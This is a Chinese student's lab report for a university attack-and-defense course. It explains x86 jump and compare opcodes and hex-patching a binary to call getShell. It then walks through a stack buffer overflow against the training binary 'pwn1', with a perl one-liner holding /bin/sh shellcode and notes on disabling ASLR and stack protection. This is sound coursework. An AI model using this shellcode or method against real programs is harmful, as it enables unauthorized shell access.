学号20232328 2025-2026-1 《网络与系统攻防技术》实验一实验报告
实验内容总结
1.1 汇编指令及其机器码
1.1.1 NOP(空操作)
-功能:空操作指令,不执行任何操作,仅消耗一个指令周期
-用途:代码对齐、空间填充、调试占位符
-机器码:90(十六进制)
1.1.2 JNE(不相等时跳转)
-功能:条件跳转指令,当ZF=0时跳转
-条件:上一条比较指令结果显示操作数不相等
-机器码:根据跳转目标地址变化,通常包含前缀(如75)和地址偏移量
1.1.3 JE(相等时跳转)
-功能:条件跳转指令,当ZF=1时跳转
-条件:上一条比较指令结果显示操作数相等
-机器码:根据跳转目标地址变化,通常包含前缀(如74)和地址偏移量
1.1.4 JMP(无条件跳转)
-功能:无条件跳转指令,立即跳转到指定地址
-用途:实现循环、函数调用、程序分支
-机器码类型:
短跳转:EB前缀 + 偏移量
近跳转:E9前缀 + 偏移量
远跳转:EA前缀 + 段地址和偏移量
1.1.5 CMP(比较)
-功能:比较两个操作数,更新条件码标志
-特点:通过减法运算设置ZF、SF、OF等标志位,供条件跳转指令使用
-机器码:根据操作数类型和大小变化,通常包含操作码(如39)和操作数
1.2 反汇编与十六进制编程器
1.2.1反汇编:将机器代码转换为汇编代码的过程
-机器代码:计算机直接执行的二进制形式
-汇编代码:人类可读的助记符形式
1.2.2十六进制编程器:
-功能:以十六进制形式查看和编辑二进制数据
-用途:直接操作文件的二进制内容
1.3 修改机器指令改变程序执行流程
修改方式:
-使用十六进制编辑器直接编辑二进制文件
-通过调试器在运行时动态修改指令
-目的:改变程序执行行为,跳转到不同代码段或执行不同操作
1.4 构造payload进行BOF攻击
1.4.1 NSR攻击模式
1.4.1.1N(Nop Sled):
-组成:连续的NOP指令序列
-作用:确保执行流能够"滑动"到shellcode位置
-特点:提高攻击成功率,容忍地址计算误差
1.4.1.2 S(Shellcode):
-性质:攻击者希望执行的实际恶意代码
-功能:执行系统命令、开启后门等恶意操作
1.4.1.3 R(Return Address):
-作用:指向shellcode起始位置
-要求:精确覆盖原返回地址
1.4.2 Payload构造步骤
-确定缓冲区大小:分析目标程序的缓冲区容量
-构造NOP Sled:根据缓冲区大小创建足够长的NOP序列
-添加Shellcode:在NOP Sled后插入精心编码的恶意代码
-设置返回地址:
-指向NOP Sled或shellcode起始位置
-按照小端字节序编码地址
1.4.3 BOF攻击执行过程
-触发漏洞:向目标程序发送精心构造的payload
-覆盖返回地址:利用缓冲区溢出覆盖堆栈中的返回地址
-执行恶意代码:程序返回时跳转到shellcode并执行
关键技术要点
-机器码特性:不同指令的机器码格式各异,需准确掌握
-二进制编辑:熟练使用反汇编和十六进制编辑工具
-内存布局:理解程序内存结构,特别是堆栈布局
-地址计算:精确计算跳转地址,考虑字节序问题
-代码编码:确保shellcode在目标环境中可正确执行
2.实验过程
首先安装好kali虚拟机,下载pwn1文件,输入命令对于pwn2文件进行反汇编。
修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
再反汇编看一下,call指令是否正确调用getShell
通过构造输入参数,造成BOF攻击,改变程序执行流
如果输入1111111122222222333333334444444412345678,那么1234会覆盖返回地址,因此只需要修改这四个字符。
这里通过break *0x804849d构造断点。
通过perl命令生成input文件,通过xxd命令查看文件内容,通过输入(cat input;cat) | ./pwn1和ls命令进行测试,发现成功调用了getshell函数。
使用输出重定向将perl生成的字符串存储到文件中:
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接着输入(cat input_shellcode;cat) | ./pwn1注入攻击buf。
重新打开一个终端,输入ps -ef | grep pwn1, 查看pwn1的进程号。
输入attach 2913,查看进程,
再输入disassemble foo,之后设置断点,在第一个终端中按下enter键,在目前的终端里面输入c以及info r esp,
使用输出重定向将perl生成的字符串存储到文件中,命令如图所示。
最后执行(cat input_shellcode;cat) | ./pwn1,成功调用getshell函数。
输入ls测试,成功执行。
3.问题及解决方案
-问题1:文件权限不足,无法执行对应的操作
-问题1解决方案:在相关命令前面加入sudo进行解决
-问题2:出现在 PowerShell 中执行这个命令时出现解析错误,是因为 PowerShell 对括号内的命令分隔语法有特殊要求
-问题2解决方案:使用脚本块语法,& { cat input_shellcode; cat } | ./pwn1
-问题3:在注入攻击时前面的结果与实验指导书一模一样,但在最终ls时会出现报错
-问题3解决方案:原因是因为没有执行堆栈的相关操作,于是进行堆栈的相关操作,设置堆栈可执行并关闭地址随机化
4.学习感悟、思考等
这次缓冲区溢出实验,让我对kali操作有了更加深入的体会和了解。。同时通过这次实验,让我对Linux命令更加熟悉,execstack则是通过命令来下载,在通过查阅资料和自己调试以及求助同学的帮助,成功解决了问题。在如何解决权限不足的问题中,我学会了对pwn1开放所有人可以操作的权限,以及在不同的地方打开终端,终端都是不一样的。学会了怎么修改主机名,如何进行简单的注入攻击。
参考资料
MAL_逆向与Bof基础.md